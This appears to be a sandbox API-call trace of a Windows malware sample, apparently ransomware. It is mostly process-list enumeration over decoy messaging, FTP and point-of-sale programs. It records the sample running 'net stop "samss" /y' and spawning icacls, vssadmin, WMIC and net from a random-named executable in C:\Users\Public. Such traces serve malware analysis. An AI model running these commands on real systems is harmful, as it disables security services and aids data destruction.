	[0208.273] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0208.487] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0208.510] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0208.514] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0208.517] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0208.520] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0208.523] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0208.526] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0208.530] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0208.533] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0208.536] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0208.539] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0208.945] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0208.961] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0208.964] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0208.968] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0208.971] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0208.974] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0208.978] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0208.981] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0208.984] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0208.987] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0208.990] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0209.309] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0209.313] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0209.316] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0209.319] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0209.323] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0209.326] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0209.329] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0209.332] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0209.336] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0209.339] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0209.342] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0209.345] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0209.348] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0209.625] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0209.628] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0209.632] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0209.635] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0209.638] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0209.641] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0209.644] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0209.647] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0209.651] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0209.654] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0209.657] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0209.660] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0209.663] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0210.008] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0210.010] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0210.013] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0210.016] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1674, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0210.018] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0210.021] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2080, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0210.023] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0210.026] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0210.029] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0210.032] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0210.033] CloseHandle (hObject=0x564) returned 1
	[0210.033] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29bda0
	[0210.034] EnumServicesStatusW (in: hSCManager=0x29bda0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 0
	[0210.035] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0210.036] EnumServicesStatusW (in: hSCManager=0x29bda0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x17b5, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 1
	[0210.038] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0210.944] Sleep (dwMilliseconds=0x96) 
	[0211.448] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.449] Sleep (dwMilliseconds=0xc350) 
	[0222.765] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x708
	[0224.262] Process32FirstW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0224.265] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0224.269] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0224.272] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0224.274] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0224.278] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0224.513] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0224.518] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0224.521] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0224.524] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0224.527] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.531] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.534] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.537] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.541] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.544] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.779] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.782] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
